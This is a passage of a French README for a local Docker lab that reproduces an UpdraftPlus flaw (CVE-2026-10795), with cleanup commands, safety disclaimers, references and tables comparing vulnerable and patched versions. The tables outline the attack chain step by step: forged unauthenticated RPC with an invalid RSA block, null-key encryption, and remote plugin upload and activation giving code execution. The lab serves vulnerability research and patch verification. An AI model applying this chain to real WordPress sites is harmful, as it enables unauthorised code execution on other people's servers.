udrpc_message suspectes.Le correctif le plus important est d'exécuter une version corrigée d'UpdraftPlus qui rejette les clés symétriques invalides avant le déchiffrement et l'envoi.
Arrêtez les conteneurs et supprimez les réseaux :```bash docker compose down --remove-orphans
Supprimer les conteneurs, les réseaux et les volumes :```bash
docker compose down -v --remove-orphans
Supprimer l'environnement virtuel Python :```bash rm -rf venv
Supprimez les fichiers de preuves locaux s'ils ont été créés :```bash
rm -rf evidence/
Ce laboratoire est réservé à la recherche en sécurité locale et à la démonstration contrôlée uniquement.
N'exécutez pas le PoC contre des systèmes que vous ne possédez pas ou pour lesquels vous ne disposez pas d'une autorisation explicite de test.
N'utilisez pas de véritables identifiants, de secrets de production ou de cibles externes dans ce laboratoire.
Le PoC est intentionnellement limité aux services Docker locaux tels que :```text http://127.0.0.1:8081 http://127.0.0.1:8082 http://localhost:8081 http://localhost:8082
Le PoC refuse les cibles non locales par défaut.
Le plugin marker n'implémente pas de paramètre générique d'exécution de commandes. Il expose uniquement un endpoint de preuve local codé en dur qui exécute `/usr/bin/id`.
Ce laboratoire n'inclut pas :```text
generic web shell
cmd parameter
reverse shell
credential extraction
database dumping
persistence
external callback
lateral movement
production exploitation workflow
L'objectif est de démontrer une condition technique spécifique dans un environnement contrôlé :```text unauthenticated forged RPC
## Références
* NVD: CVE-2026-10795
https://nvd.nist.gov/vuln/detail/CVE-2026-10795
* Base de données de vulnérabilités Wordfence: UpdraftPlus
https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/updraftplus
* Base de données Patchstack: UpdraftPlus
https://patchstack.com/database/
* Plugin WordPress.org: UpdraftPlus
https://wordpress.org/plugins/updraftplus/
* SVN du plugin WordPress.org
https://plugins.svn.wordpress.org/updraftplus/
* Balises SVN du plugin WordPress.org
https://plugins.svn.wordpress.org/updraftplus/tags/
* TeamUpdraft: UpdraftCentral
https://updraftplus.com/updraftcentral/
* OWASP: Aide-mémoire sur l'authentification
https://cheatsheetseries.owasp.org/cheatsheets/Authentication_Cheat_Sheet.html
* OWASP: Guide de test de la sécurité Web
https://owasp.org/www-project-web-security-testing-guide/
| Comportement du PoC | Comportement source testé | Attendu sur 1.26.4 | Attendu sur 1.26.5 |
|---|
Envoyer une requête POST avec format=1 | Le listener accepte le format RPC hérité | Continue | Continue vers la vérification de déchiffrement corrigée |
| Omettre la signature valide | La vérification de signature ne s'applique qu'à format >= 2 | Signature non requise | Signature non requise pour format=1, mais bloquée ensuite |
| Envoyer un bloc RSA invalide | Le déchiffrement RSA renvoie une clé symétrique invalide | La clé invalide atteint setKey() | Clé invalide rejetée |
| Chiffrer un JSON avec une clé nulle et un IV nul | Modélise le comportement de repli de phpseclib après setKey(false) | Déchiffre en un JSON valide | Ne déchiffre pas |
Définir command=ping | Teste uniquement le contournement cryptographique et la répartition | PING DISPATCHED | PING NOT DISPATCHED |
Définir command=plugin.upload_plugin | Appelle la méthode de téléversement de plugin d'UpdraftCentral | Plugin ZIP installé | Commande non atteinte |
Définir activate=true | Déclenche activate_plugin() après l'installation | Plugin marqueur actif | Plugin marqueur absent |
Envoyer une requête vers /wp-json/cve-lab/v1/id | Vérifie si le code du plugin marqueur est en cours d'exécution | Renvoie uid=33(www-data) | Renvoie 404 rest_no_route |
| Service | Composant | Version / Rôle |
|---|
vuln | WordPress + UpdraftPlus | Cible vulnérable : UpdraftPlus 1.26.4 |
patched | WordPress + UpdraftPlus | Cible corrigée : UpdraftPlus 1.26.5 |
vuln_db | MariaDB | Base de données pour la cible vulnérable |
patched_db | MariaDB | Base de données pour la cible corrigée |
vuln_setup | Service de configuration WP-CLI | Installe WordPress, active UpdraftPlus, initialise l'état de clé locale |
patched_setup | Service de configuration WP-CLI | Installe WordPress, active UpdraftPlus, initialise l'état de clé locale |